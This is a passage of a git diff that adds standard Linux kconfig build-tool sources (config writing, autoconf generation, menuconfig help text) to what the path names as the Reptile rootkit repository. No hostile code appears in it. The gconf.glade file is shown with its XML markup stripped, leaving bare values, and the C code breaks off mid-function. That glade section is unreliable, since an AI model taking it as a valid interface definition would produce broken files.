and equals to the + * default for a choice - skip. + * But only if value is bool and equal to "y" and + * choice is not "optional". + * (If choice is "optional" then all values can be "n") + */ + if (sym_is_choice_value(sym)) { + struct symbol *cs; + struct symbol *ds; + + cs = prop_get_symbol(sym_get_choice_prop(sym)); + ds = sym_choice_default(cs); + if (!sym_is_optional(cs) && sym == ds) { + if ((sym->type == S_BOOLEAN) && + sym_get_tristate_value(sym) == yes) + goto next_menu; + } + } + conf_write_symbol(out, sym, &kconfig_printer_cb, NULL); + } +next_menu: + if (menu->list != NULL) { + menu = menu->list; + } + else if (menu->next != NULL) { + menu = menu->next; + } else { + while ((menu = menu->parent)) { + if (menu->next != NULL) { + menu = menu->next; + break; + } + } + } + } + fclose(out); + return 0; +} + +int conf_write(const char *name) +{ + FILE *out; + struct symbol *sym; + struct menu *menu; + const char *basename; + const char *str; + char dirname[PATH_MAX+1], tmpname[PATH_MAX+1], newname[PATH_MAX+1]; + char *env; + + dirname[0] = 0; + if (name && name[0]) { + struct stat st; + char *slash; + + if (!stat(name, &st) && S_ISDIR(st.st_mode)) { + strcpy(dirname, name); + strcat(dirname, "/"); + basename = conf_get_configname(); + } else if ((slash = strrchr(name, '/'))) { + int size = slash - name + 1; + memcpy(dirname, name, size); + dirname[size] = 0; + if (slash[1]) + basename = slash + 1; + else + basename = conf_get_configname(); + } else + basename = name; + } else + basename = conf_get_configname(); + + sprintf(newname, "%s%s", dirname, basename); + env = getenv("KCONFIG_OVERWRITECONFIG"); + if (!env || !*env) { + sprintf(tmpname, "%s.tmpconfig.%d", dirname, (int)getpid()); + out = fopen(tmpname, "w"); + } else { + *tmpname = 0; + out = fopen(newname, "w"); + } + if (!out) + return 1; + + conf_write_heading(out, &kconfig_printer_cb, NULL); + + if (!conf_get_changed()) + sym_clear_all_valid(); + + menu = rootmenu.list; + while (menu) { + sym = menu->sym; + if (!sym) { + if (!menu_is_visible(menu)) + goto next; + str = menu_get_prompt(menu); + fprintf(out, "\n" + "#\n" + "# %s\n" + "#\n", str); + } else if (!(sym->flags & SYMBOL_CHOICE)) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE)) + goto next; + sym->flags &= ~SYMBOL_WRITE; + + conf_write_symbol(out, sym, &kconfig_printer_cb, NULL); + } + +next: + if (menu->list) { + menu = menu->list; + continue; + } + if (menu->next) + menu = menu->next; + else while ((menu = menu->parent)) { + if (menu->next) { + menu = menu->next; + break; + } + } + } + fclose(out); + + if (*tmpname) { + strcat(dirname, basename); + strcat(dirname, ".old"); + rename(newname, dirname); + if (rename(tmpname, newname)) + return 1; + } + + conf_message(_("configuration written to %s"), newname); + + sym_set_change_count(0); + + return 0; +} + +static int conf_split_config(void) +{ + const char *name; + char path[PATH_MAX+1]; + char *s, *d, c; + struct symbol *sym; + struct stat sb; + int res, i, fd; + + name = conf_get_autoconfig_name(); + conf_read_simple(name, S_DEF_AUTO); + + if (chdir("include/config")) + return 1; + + res = 0; + for_all_symbols(i, sym) { + sym_calc_value(sym); + if ((sym->flags & SYMBOL_AUTO) || !sym->name) + continue; + if (sym->flags & SYMBOL_WRITE) { + if (sym->flags & SYMBOL_DEF_AUTO) { + /* + * symbol has old and new value, + * so compare them... + */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym_get_tristate_value(sym) == + sym->def[S_DEF_AUTO].tri) + continue; + break; + case S_STRING: + case S_HEX: + case S_INT: + if (!strcmp(sym_get_string_value(sym), + sym->def[S_DEF_AUTO].val)) + continue; + break; + default: + break; + } + } else { + /* + * If there is no old value, only 'no' (unset) + * is allowed as new value. + */ + switch (sym->type) { + case S_BOOLEAN: + case S_TRISTATE: + if (sym_get_tristate_value(sym) == no) + continue; + break; + default: + break; + } + } + } else if (!(sym->flags & SYMBOL_DEF_AUTO)) + /* There is neither an old nor a new value. */ + continue; + /* else + * There is an old value, but no new value ('no' (unset) + * isn't saved in auto.conf, so the old value is always + * different from 'no'). + */ + + /* Replace all '_' and append ".h" */ + s = sym->name; + d = path; + while ((c = *s++)) { + c = tolower(c); + *d++ = (c == '_') ? '/' : c; + } + strcpy(d, ".h"); + + /* Assume directory path already exists. */ + fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd == -1) { + if (errno != ENOENT) { + res = 1; + break; + } + /* + * Create directory components, + * unless they exist already. + */ + d = path; + while ((d = strchr(d, '/'))) { + *d = 0; + if (stat(path, &sb) && mkdir(path, 0755)) { + res = 1; + goto out; + } + *d++ = '/'; + } + /* Try it again. */ + fd = open(path, O_WRONLY | O_CREAT | O_TRUNC, 0644); + if (fd == -1) { + res = 1; + break; + } + } + close(fd); + } +out: + if (chdir("../..")) + return 1; + + return res; +} + +int conf_write_autoconf(void) +{ + struct symbol *sym; + const char *name; + FILE *out, *tristate, *out_h; + int i; + + sym_clear_all_valid(); + + file_write_dep("include/config/auto.conf.cmd"); + + if (conf_split_config()) + return 1; + + out = fopen(".tmpconfig", "w"); + if (!out) + return 1; + + tristate = fopen(".tmpconfig_tristate", "w"); + if (!tristate) { + fclose(out); + return 1; + } + + out_h = fopen(".tmpconfig.h", "w"); + if (!out_h) { + fclose(out); + fclose(tristate); + return 1; + } + + conf_write_heading(out, &kconfig_printer_cb, NULL); + + conf_write_heading(tristate, &tristate_printer_cb, NULL); + + conf_write_heading(out_h, &header_printer_cb, NULL); + + for_all_symbols(i, sym) { + sym_calc_value(sym); + if (!(sym->flags & SYMBOL_WRITE) || !sym->name) + continue; + + /* write symbol to auto.conf, tristate and header files */ + conf_write_symbol(out, sym, &kconfig_printer_cb, (void *)1); + + conf_write_symbol(tristate, sym, &tristate_printer_cb, (void *)1); + + conf_write_symbol(out_h, sym, &header_printer_cb, NULL); + } + fclose(out); + fclose(tristate); + fclose(out_h); + + name = getenv("KCONFIG_AUTOHEADER"); + if (!name) + name = "include/generated/autoconf.h"; + if (rename(".tmpconfig.h", name)) + return 1; + name = getenv("KCONFIG_TRISTATE"); + if (!name) + name = "include/config/tristate.conf"; + if (rename(".tmpconfig_tristate", name)) + return 1; + name = conf_get_autoconfig_name(); + /* + * This must be the last step, kbuild has a dependency on auto.conf + * and this marks the successful completion of the previous steps. + */ + if (rename(".tmpconfig", name)) + return 1; + + return 0; +} + +static int sym_change_count; +static void (*conf_changed_callback)(void); + +void sym_set_change_count(int count) +{ + int _sym_change_count = sym_change_count; + sym_change_count = count; + if (conf_changed_callback && + (bool)_sym_change_count != (bool)count) + conf_changed_callback(); +} + +void sym_add_change_count(int count) +{ + sym_set_change_count(count + sym_change_count); +} + +bool conf_get_changed(void) +{ + return sym_change_count; +} + +void conf_set_changed_callback(void (*fn)(void)) +{ + conf_changed_callback = fn; +} + +static bool randomize_choice_values(struct symbol *csym) +{ + struct property *prop; + struct symbol *sym; + struct expr *e; + int cnt, def; + + /* + * If choice is mod then we may have more items selected + * and if no then no-one. + * In both cases stop. + */ + if (csym->curr.tri != yes) + return false; + + prop = sym_get_choice_prop(csym); + + /* count entries in choice block */ + cnt = 0; + expr_list_for_each_sym(prop->expr, e, sym) + cnt++; + + /* + * find a random value and set it to yes, + * set the rest to no so we have only one set + */ + def = (rand() % cnt); + + cnt = 0; + expr_list_for_each_sym(prop->expr, e, sym) { + if (def == cnt++) { + sym->def[S_DEF_USER].tri = yes; + csym->def[S_DEF_USER].val = sym; + } + else { + sym->def[S_DEF_USER].tri = no; + } + sym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + sym->flags &= ~SYMBOL_VALID; + } + csym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + csym->flags &= ~(SYMBOL_VALID); + + return true; +} + +void set_all_choice_values(struct symbol *csym) +{ + struct property *prop; + struct symbol *sym; + struct expr *e; + + prop = sym_get_choice_prop(csym); + + /* + * Set all non-assinged choice values to no + */ + expr_list_for_each_sym(prop->expr, e, sym) { + if (!sym_has_value(sym)) + sym->def[S_DEF_USER].tri = no; + } + csym->flags |= SYMBOL_DEF_USER; + /* clear VALID to get value calculated */ + csym->flags &= ~(SYMBOL_VALID | SYMBOL_NEED_SET_CHOICE_VALUES); +} + +bool conf_set_all_new_symbols(enum conf_def_mode mode) +{ + struct symbol *sym, *csym; + int i, cnt, pby, pty, ptm; /* pby: probability of boolean = y + * pty: probability of tristate = y + * ptm: probability of tristate = m + */ + + pby = 50; pty = ptm = 33; /* can't go as the default in switch-case + * below, otherwise gcc whines about + * -Wmaybe-uninitialized */ + if (mode == def_random) { + int n, p[3]; + char *env = getenv("KCONFIG_PROBABILITY"); + n = 0; + while( env && *env ) { + char *endp; + int tmp = strtol( env, &endp, 10 ); + if( tmp >= 0 && tmp <= 100 ) { + p[n++] = tmp; + } else { + errno = ERANGE; + perror( "KCONFIG_PROBABILITY" ); + exit( 1 ); + } + env = (*endp == ':') ? endp+1 : endp; + if( n >=3 ) { + break; + } + } + switch( n ) { + case 1: + pby = p[0]; ptm = pby/2; pty = pby-ptm; + break; + case 2: + pty = p[0]; ptm = p[1]; pby = pty + ptm; + break; + case 3: + pby = p[0]; pty = p[1]; ptm = p[2]; + break; + } + + if( pty+ptm > 100 ) { + errno = ERANGE; + perror( "KCONFIG_PROBABILITY" ); + exit( 1 ); + } + } + bool has_changed = false; + + for_all_symbols(i, sym) { + if (sym_has_value(sym) || (sym->flags & SYMBOL_VALID)) + continue; + switch (sym_get_type(sym)) { + case S_BOOLEAN: + case S_TRISTATE: + has_changed = true; + switch (mode) { + case def_yes: + sym->def[S_DEF_USER].tri = yes; + break; + case def_mod: + sym->def[S_DEF_USER].tri = mod; + break; + case def_no: + sym->def[S_DEF_USER].tri = no; + break; + case def_random: + sym->def[S_DEF_USER].tri = no; + cnt = rand() % 100; + if (sym->type == S_TRISTATE) { + if (cnt < pty) + sym->def[S_DEF_USER].tri = yes; + else if (cnt < (pty+ptm)) + sym->def[S_DEF_USER].tri = mod; + } else if (cnt < pby) + sym->def[S_DEF_USER].tri = yes; + break; + default: + continue; + } + if (!(sym_is_choice(sym) && mode == def_random)) + sym->flags |= SYMBOL_DEF_USER; + break; + default: + break; + } + + } + + sym_clear_all_valid(); + + /* + * We have different type of choice blocks. + * If curr.tri equals to mod then we can select several + * choice symbols in one block. + * In this case we do nothing. + * If curr.tri equals yes then only one symbol can be + * selected in a choice block and we set it to yes, + * and the rest to no. + */ + if (mode != def_random) { + for_all_symbols(i, csym) { + if ((sym_is_choice(csym) && !sym_has_value(csym)) || + sym_is_choice_value(csym)) + csym->flags |= SYMBOL_NEED_SET_CHOICE_VALUES; + } + } + + for_all_symbols(i, csym) { + if (sym_has_value(csym) || !sym_is_choice(csym)) + continue; + + sym_calc_value(csym); + if (mode == def_random) + has_changed = randomize_choice_values(csym); + else { + set_all_choice_values(csym); + has_changed = true; + } + } + + return has_changed; +} diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/gconf.glade b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/gconf.glade new file mode 100644 index 0000000..aa483cb --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/gconf.glade @@ -0,0 +1,661 @@ + + + + + + True + Gtk Kernel Configurator + GTK_WINDOW_TOPLEVEL + GTK_WIN_POS_NONE + False + 640 + 480 + True + False + True + False + False + GDK_WINDOW_TYPE_HINT_NORMAL + GDK_GRAVITY_NORTH_WEST + + + + + + + True + False + 0 + + + + True + + + + True + _File + True + + + + + + + True + Load a config file + _Load + True + + + + + + True + gtk-open + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + Save the config in .config + _Save + True + + + + + + True + gtk-save + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + Save the config in a file + Save _as + True + + + + + True + gtk-save-as + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + + + + + + True + _Quit + True + + + + + + True + gtk-quit + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + + + + + True + _Options + True + + + + + + + True + Show name + Show _name + True + False + + + + + + + True + Show range (Y/M/N) + Show _range + True + False + + + + + + + True + Show value of the option + Show _data + True + False + + + + + + + True + + + + + + True + Show normal options + Show normal options + True + True + + + + + + + True + Show all options + Show all _options + True + False + set_option_mode1 + + + + + + + True + Show all options with prompts + Show all prompt options + True + False + set_option_mode1 + + + + + + + + + + + + True + _Help + True + + + + + + + True + _Introduction + True + + + + + + True + gtk-dialog-question + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + _About + True + + + + + + True + gtk-properties + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + True + _License + True + + + + + True + gtk-justify-fill + 1 + 0.5 + 0.5 + 0 + 0 + + + + + + + + + + + 0 + False + False + + + + + + True + GTK_SHADOW_OUT + GTK_POS_LEFT + GTK_POS_TOP + + + + True + GTK_ORIENTATION_HORIZONTAL + GTK_TOOLBAR_BOTH + True + True + + + + True + Goes up of one level (single view) + Back + True + gtk-undo + True + True + False + + + + False + True + + + + + + True + True + True + False + + + + True + + + + + False + False + + + + + + True + Load a config file + Load + True + gtk-open + True + True + False + + + + False + True + + + + + + True + Save a config file + Save + True + gtk-save + True + True + False + + + + False + True + + + + + + True + True + True + False + + + + True + + + + + False + False + + + + + + True + Single view + Single + True + gtk-missing-image + True + True + False + + + + False + True + + + + + + True + Split view + Split + True + gtk-missing-image + True + True + False + + + + False + True + + + + + + True + Full view + Full + True + gtk-missing-image + True + True + False + + + + False + True + + + + + + True + True + True + False + + + + True + + + + + False + False + + + + + + True + Collapse the whole tree in the right frame + Collapse + True + gtk-remove + True + True + False + + + + False + True + + + + + + True + Expand the whole tree in the right frame + Expand + True + gtk-add + True + True + False + + + + False + True + + + + + + + 0 + False + False + + + + + + 1 + True + True + 0 + + + + True + GTK_POLICY_AUTOMATIC + GTK_POLICY_AUTOMATIC + GTK_SHADOW_IN + GTK_CORNER_TOP_LEFT + + + + True + True + True + False + False + False + + + + + + + + True + False + + + + + + True + True + 0 + + + + True + GTK_POLICY_AUTOMATIC + GTK_POLICY_AUTOMATIC + GTK_SHADOW_IN + GTK_CORNER_TOP_LEFT + + + + True + True + True + True + False + False + False + + + + + + + + True + False + + + + + + True + GTK_POLICY_NEVER + GTK_POLICY_AUTOMATIC + GTK_SHADOW_IN + GTK_CORNER_TOP_LEFT + + + + True + True + False + False + True + GTK_JUSTIFY_LEFT + GTK_WRAP_WORD + True + 0 + 0 + 0 + 0 + 0 + 0 + Sorry, no help available for this option yet. + + + + + True + True + + + + + True + True + + + + + 0 + True + True + + + + + + + diff --git a/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/mconf.c b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/mconf.c new file mode 100644 index 0000000..59184bb --- /dev/null +++ b/Linux/Rootkits/Reptile/scripts/kconfig/.pc/01-kconfig-kernel-to-buildroot.patch/mconf.c @@ -0,0 +1,1037 @@ +/* + * Copyright (C) 2002 Roman Zippel + * Released under the terms of the GNU GPL v2.0. + * + * Introduced single menu mode (show all sub-menus in one large tree). + * 2002-11-06 Petr Baudis + * + * i18n, 2005, Arnaldo Carvalho de Melo + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "lkc.h" +#include "lxdialog/dialog.h" + +static const char mconf_readme[] = N_( +"Overview\n" +"--------\n" +"This interface lets you select features and parameters for the build.\n" +"Features can either be built-in, modularized, or ignored. Parameters\n" +"must be entered in as decimal or hexadecimal numbers or text.\n" +"\n" +"Menu items beginning with following braces represent features that\n" +" [ ] can be built in or removed\n" +" < > can be built in, modularized or removed\n" +" { } can be built in or modularized (selected by other feature)\n" +" - - are selected by other feature,\n" +"while *, M or whitespace inside braces means to build in, build as\n" +"a module or to exclude the feature respectively.\n" +"\n" +"To change any of these features, highlight it with the cursor\n" +"keys and press to build it in, to make it a module or\n" +" to remove it. You may also press the to cycle\n" +"through the available options (i.e. Y->N->M->Y).\n" +"\n" +"Some additional keyboard hints:\n" +"\n" +"Menus\n" +"----------\n" +"o Use the Up/Down arrow keys (cursor keys) to highlight the item you\n" +" wish to change or the submenu you wish to select and press .\n" +" Submenus are designated by \"--->\", empty ones by \"----\".\n" +"\n" +" Shortcut: Press the option's highlighted letter (hotkey).\n" +" Pressing a hotkey more than once will sequence\n" +" through all visible items which use that hotkey.\n" +"\n" +" You may also use the and keys to scroll\n" +" unseen options into view.\n" +"\n" +"o To exit a menu use the cursor keys to highlight the button\n" +" and press .\n" +"\n" +" Shortcut: Press or or if there is no hotkey\n" +" using those letters. You may press a single , but\n" +" there is a delayed response which you may find annoying.\n" +"\n" +" Also, the and cursor keys will cycle between and\n" +" \n" +"\n" +"\n" +"Data Entry\n" +"-----------\n" +"o Enter the requested information and press \n" +" If you are entering hexadecimal values, it is not necessary to\n" +" add the '0x' prefix to the entry.\n" +"\n" +"o For help, use the or cursor keys to highlight the help option\n" +" and press . You can try as well.\n" +"\n" +"\n" +"Text Box (Help Window)\n" +"--------\n" +"o Use the cursor keys to scroll up/down/left/right. The VI editor\n" +" keys h,j,k,l function here as do , , and for\n" +" those who are familiar with less and lynx.\n" +"\n" +"o Press , , , or to exit.\n" +"\n" +"\n" +"Alternate Configuration Files\n" +"-----------------------------\n" +"Menuconfig supports the use of alternate configuration files for\n" +"those who, for various reasons, find it necessary to switch\n" +"between different configurations.\n" +"\n" +"The button will let you save the current configuration to\n" +"a file of your choosing. Use the button to load a previously\n" +"saved alternate configuration.\n" +"\n" +"Even if you don't use alternate configuration files, but you find\n" +"during a Menuconfig session that you have completely messed up your\n" +"settings, you may use the button to restore your previously\n" +"saved settings from \".config\" without restarting Menuconfig.\n" +"\n" +"Other information\n" +"-----------------\n" +"If you use Menuconfig in an XTERM window, make sure you have your\n" +"$TERM variable set to point to an xterm definition which supports\n" +"color. Otherwise, Menuconfig will look rather bad. Menuconfig will\n" +"not display correctly in an RXVT window because rxvt displays only one\n" +"intensity of color, bright.\n" +"\n" +"Menuconfig will display larger menus on screens or xterms which are\n" +"set to display more than the standard 25 row by 80 column geometry.\n" +"In order for this to work, the \"stty size\" command must be able to\n" +"display the screen's current row and column geometry. I STRONGLY\n" +"RECOMMEND that you make sure you do NOT have the shell variables\n" +"LINES and COLUMNS exported into your environment. Some distributions\n" +"export those variables via /etc/profile. Some ncurses programs can\n" +"become confused when those variables (LINES & COLUMNS) don't reflect\n" +"the true screen size.\n" +"\n" +"Optional personality available\n" +"------------------------------\n" +"If you prefer to have all of the options listed in a single menu,\n" +"rather than the default multimenu hierarchy, run the menuconfig with\n" +"MENUCONFIG_MODE environment variable set to single_menu. Example:\n" +"\n" +"make MENUCONFIG_MODE=single_menu menuconfig\n" +"\n" +" will then unroll the appropriate category, or enfold it if it\n" +"is already unrolled.\n" +"\n" +"Note that this mode can eventually be a little more CPU expensive\n" +"(especially with a larger number of unrolled categories) than the\n" +"default mode.\n" +"\n" +"Different color themes available\n" +"--------------------------------\n" +"It is possible to select different color themes using the variable\n" +"MENUCONFIG_COLOR. To select a theme use:\n" +"\n" +"make MENUCONFIG_COLOR= menuconfig\n" +"\n" +"Available themes are\n" +" mono => selects colors suitable for monochrome displays\n" +" blackbg => selects a color scheme with black background\n" +" classic => theme with blue background. The classic look\n" +" bluetitle => an LCD friendly version of classic. (default)\n" +"\n"), +menu_instructions[] = N_( + "Arrow keys navigate the menu. " + " selects submenus ---> (or empty submenus ----). " + "Highlighted letters are hotkeys. " + "Pressing includes, excludes, modularizes features. " + "Press to exit, for Help, for Search. " + "Legend: [*] built-in [ ] excluded module < > module capable"), +radiolist_instructions[] = N_( + "Use the arrow keys to navigate this window or " + "press the hotkey of the item you wish to select " + "followed by the . " + "Press for additional information about this option."), +inputbox_instructions_int[] = N_( + "Please enter a decimal value. " + "Fractions will not be accepted. " + "Use the key to move from the input field to the buttons below it."), +inputbox_instructions_hex[] = N_( + "Please enter a hexadecimal value. " + "Use the key to move from the input field to the buttons below it."), +inputbox_instructions_string[] = N_( + "Please enter a string value. " + "Use the key to move from the input field to the buttons below it."), +setmod_text[] = N_( + "This feature depends on another which has been configured as a module.\n" + "As a result, this feature will be built as a module."), +load_config_text[] = N_( + "Enter the name of the configuration file you wish to load. " + "Accept the name shown to restore the configuration you " + "last retrieved. Leave blank to abort."), +load_config_help[] = N_( + "\n" + "For various reasons, one may wish to keep several different\n" + "configurations available on a single machine.\n" + "\n" + "If you have saved a previous configuration in a file other than the\n" + "default one, entering its name here will allow you to modify that\n" + "configuration.\n" + "\n" + "If you are uncertain, then you have probably never used alternate\n" + "configuration files. You should therefore leave this blank to abort.\n"), +save_config_text[] = N_( + "Enter a filename to which this configuration should be saved " + "as an alternate. Leave blank to abort."), +save_config_help[] = N_( + "\n" + "For various reasons, one may wish to keep different configurations\n" + "available on a single machine.\n" + "\n" + "Entering a file name here will allow you to later retrieve, modify\n" + "and use the current configuration as an alternate to whatever\n" + "configuration options you have selected at that time.\n" + "\n" + "If you are uncertain what all this means then you should probably\n" + "leave this blank.\n"), +search_help[] = N_( + "\n" + "Search for symbols and display their relations.\n" + "Regular expressions are allowed.\n" + "Example: search for \"^FOO\"\n" + "Result:\n" + "-----------------------------------------------------------------\n" + "Symbol: FOO [=m]\n" + "Type : tristate\n" + "Prompt: Foo bus is used to drive the bar HW\n" + " Location:\n" + " -> Bus options (PCI, PCMCIA, EISA, ISA)\n" + " -> PCI support (PCI [=y])\n" + "(1) -> PCI access mode ( [=y])\n" + " Defined at drivers/pci/Kconfig:47\n" + " Depends on: X86_LOCAL_APIC && X86_IO_APIC || IA64\n" + " Selects: LIBCRC32\n" + " Selected by: BAR [=n]\n" + "-----------------------------------------------------------------\n" + "o The line 'Type:' shows the type of the configuration option for\n" + " this symbol (boolean, tristate, string, ...)\n" + "o The line 'Prompt:' shows the text used in the menu structure for\n" + " this symbol\n" + "o The 'Defined at' line tells at what file / line number the symbol\n" + " is defined\n" + "o The 'Depends on:' line tells what symbols need to be defined for\n" + " this symbol to be visible in the menu (selectable)\n" + "o The 'Location:' lines tells where in the menu structure this symbol\n" + " is located\n" + " A location followed by a [=y] indicates that this is a\n" + " selectable menu item - and the current value is displayed inside\n" + " brackets.\n" + " Press the key in the (#) prefix to jump directly to that\n" + " location. You will be returned to the current search results\n" + " after exiting this new menu.\n" + "o The 'Selects:' line tells what symbols will be automatically\n" + " selected if this symbol is selected (y or m)\n" + "o The 'Selected by' line tells what symbol has selected this symbol\n" + "\n" + "Only relevant lines are shown.\n" + "\n\n" + "Search examples:\n" + "Examples: USB => find all symbols containing USB\n" + " ^USB => find all symbols starting with USB\n" + " USB$ => find all symbols ending with USB\n" + "\n"); + +static int indent; +static struct menu *current_menu; +static int child_count; +static int single_menu_mode; +static int show_all_options; +static int save_and_exit; + +static void conf(struct menu *menu, struct menu *active_menu); +static void conf_choice(struct menu *menu); +static void conf_string(struct menu *menu); +static void conf_load(void); +static void conf_save(void); +static int show_textbox_ext(const char *title, char *text, int r, int c, + int *keys, int *vscroll, int *hscroll, + update_text_fn update_text, void *data); +static void show_textbox(const char *title, const char *text, int r, int c); +static void show_helptext(const char *title, const char *text); +static void show_help(struct menu *menu); + +static char filename[PATH_MAX+1]; +static void set_config_filename(const char *config_filename) +{ + static char menu_backtitle[PATH_MAX+128]; + int size; + + size = snprintf(menu_backtitle, sizeof(menu_backtitle), + "%s - %s", config_filename, rootmenu.prompt->text); + if (size >= sizeof(menu_backtitle)) + menu_backtitle[sizeof(menu_backtitle)-1] = '\0'; + set_dialog_backtitle(menu_backtitle); + + size = snprintf(filename, sizeof(filename), "%s", config_filename); + if (size >= sizeof(filename)) + filename[sizeof(filename)-1] = '\0'; +} + +struct subtitle_part { + struct list_head entries; + const char *text; +}; +static LIST_HEAD(trail); + +static struct subtitle_list *subtitles; +static void set_subtitle(void) +{ + struct subtitle_part *sp; + struct subtitle_list *pos, *tmp; + + for (pos = subtitles; pos != NULL; pos = tmp) { + tmp = pos->next; + free(pos); + } + + subtitles = NULL; + list_for_each_entry(sp, &trail, entries) { + if (sp->text) { + if (pos) { + pos->next = xcalloc(sizeof(*pos), 1); + pos = pos->next; + } else { + subtitles = pos = xcalloc(sizeof(*pos), 1); + } + pos->text = sp->text; + } + } + + set_dialog_subtitles(subtitles); +} + +static void reset_subtitle(void) +{ + struct subtitle_list *pos, *tmp; + + for (pos = subtitles; pos != NULL; pos = tmp) { + tmp = pos->next; + free(pos); + } + subtitles = NULL; + set_dialog_subtitles(subtitles); +} + +struct search_data { + struct list_head *head; + struct menu **targets; + int *keys; +}; + +static void update_text(char *buf, size_t start, size_t end, void *_data) +{ + struct search_data *data = _data; + struct jump_key *pos; + int k = 0; + + list_for_each_entry(pos, data->head, entries) { + if (pos->offset >= start && pos->offset < end) { + char header[4]; + + if (k < JUMP_NB) { + int key = '0' + (pos->index % JUMP_NB) + 1; + + sprintf(header, "(%c)", key); + data->keys[k] = key; + data->targets[k] = pos->target; + k++; + } else { + sprintf(header, " "); + } + + memcpy(buf + pos->offset, header, sizeof(header) - 1); + } + } + data->keys[k] = 0; +} + +static void search_conf(void) +{ + struct symbol **sym_arr; + struct gstr res; + struct gstr title; + char *dialog_input; + int dres, vscroll = 0, hscroll = 0; + bool again; + struct gstr sttext; + struct subtitle_part stpart; + + title = str_new(); + str_printf( &title, _("Enter (sub)string or regexp to search for " + "(with or without \"%s\")"), CONFIG_); + +again: + dialog_clear(); + dres = dialog_inputbox(_("Search Configuration Parameter"), + str_get(&title), + 10, 75, ""); + switch (dres) { + case 0: + break; + case 1: + show_helptext(_("Search Configuration"), search_help); + goto again; + default: + str_free(&title); + return; + } + + /* strip the prefix if necessary */ + dialog_input = dialog_input_result; + if (strncasecmp(dialog_input_result, CONFIG_, strlen(CONFIG_)) == 0) + dialog_input += strlen(CONFIG_); + + sttext = str_new(); + str_printf(&sttext, "Search (%s)", dialog_input_result); + stpart.text = str_get(&sttext); + list_add_tail(&stpart.entries, &trail); + + sym_arr = sym_re_search(dialog_input); + do { + LIST_HEAD(head); + struct menu *targets[JUMP_NB]; + int keys[JUMP_NB + 1], i; + struct search_data data = { + .head = &head, + .targets = targets, + .keys = keys, + }; + struct jump_key *pos, *tmp; + + res = get_relations_str(sym_arr, &head); + set_subtitle(); + dres = show_textbox_ext(_("Search Results"), (char *) + str_get(&res), 0, 0, keys, &vscroll, + &hscroll, &update_text, (void *) + &data); + again = false; + for (i = 0; i < JUMP_NB && keys[i]; i++) + if (dres == keys[i]) { + conf(targets[i]->parent, targets[i]); + again = true; + } + str_free(&res); + list_for_each_entry_safe(pos, tmp, &head, entries) + free(pos); + } while (again); + free(sym_arr); + str_free(&title); + list_del(trail.prev); + str_free(&sttext); +} + +static void build_conf(struct menu *menu) +{ + struct symbol *sym; + struct property *prop; + struct menu *child; + int type, tmp, doint = 2; + tristate val; + char ch; + bool visible; + + /* + * note: menu_is_visible() has side effect that it will + * recalc the value of the symbol. + */ + visible = menu_is_visible(menu); + if (show_all_options && !menu_has_prompt(menu)) + return; + else if (!show_all_options && !visible) + return; + + sym = menu->sym; + prop = menu->prompt; + if (!sym) { + if (prop && menu != current_menu) { + const char *prompt = menu_get_prompt(menu); + switch (prop->type) { + case P_MENU: + child_count++; + prompt = _(prompt); + if (single_menu_mode) { + item_make("%s%*c%s", + menu->data ? "-->" : "++>", + indent + 1, ' ', prompt); + } else + item_make(" %*c%s %s", + indent + 1, ' ', prompt, + menu_is_empty(menu) ? "----" : "--->"); + item_set_tag('m'); + item_set_data(menu); + if (single_menu_mode && menu->data) + goto conf_childs; + return; + case P_COMMENT: + if (prompt) { + child_count++; + item_make(" %*c*** %s ***", indent + 1, ' ', _(prompt)); + item_set_tag(':'); + item_set_data(menu); + } + break; + default: + if (prompt) { + child_count++; + item_make("---%*c%s", indent + 1, ' ', _(prompt)); + item_set_tag(':'); + item_set_data(menu); + } + } + } else + doint = 0; + goto conf_childs; + } + + type = sym_get_type(sym); + if (sym_is_choice(sym)) { + struct symbol *def_sym = sym_get_choice_value(sym); + struct menu *def_menu = NULL; + + child_count++; + for (child = menu->list; child; child = child->next) { + if (menu_is_visible(child) && child->sym == def_sym) + def_menu = child; + } + + val = sym_get_tristate_value(sym); + if (sym_is_changable(sym)) { + switch (type) { + case S_BOOLEAN: + item_make("[%c]", val == no ? ' ' : '*'); + break; + case S_TRISTATE: + switch (val) { + case yes: ch = '*'; break; + case mod: ch = 'M'; break; + default: ch = ' '; break; + } + item_make("<%c>", ch); + break; + } + item_set_tag('t'); + item_set_data(menu); + } else { + item_make(" "); + item_set_tag(def_menu ? 't' : ':'); + item_set_data(menu); + } + + item_add_str("%*c%s", indent + 1, ' ', _(menu_get_prompt(menu))); + if (val == yes) { + if (def_menu) { + item_add_str(" (%s)", _(menu_get_prompt(def_menu))); + item_add_str(" --->"); + if (def_menu->list) { + indent += 2; + build_conf(def_menu); + indent -= 2; + } + } + return; + } + } else { + if (menu == current_menu) { + item_make("---%*c%s", indent + 1, ' ', _(menu_get_prompt(menu))); + item_set_tag(':'); + item_set_data(menu); + goto conf_childs; + } + child_count++; + val = sym_get_tristate_value(sym); + if (sym_is_choice_value(sym) && val == yes) { + item_make(" "); + item_set_tag(':'); + item_set_data(menu); + } else { + switch (type) { + case S_BOOLEAN: + if (sym_is_changable(sym)) + item_make("[%c]", val == no ? ' ' : '*'); + else + item_make("-%c-", val == no ? ' ' : '*'); + item_set_tag('t'); + item_set_data(menu); + break; + case S_TRISTATE: + switch (val) { + case yes: ch = '*'; break; + case mod: ch = 'M'; break; + default: ch = ' '; break; + } + if (sym_is_changable(sym)) { + if (sym->rev_dep.tri == mod) + 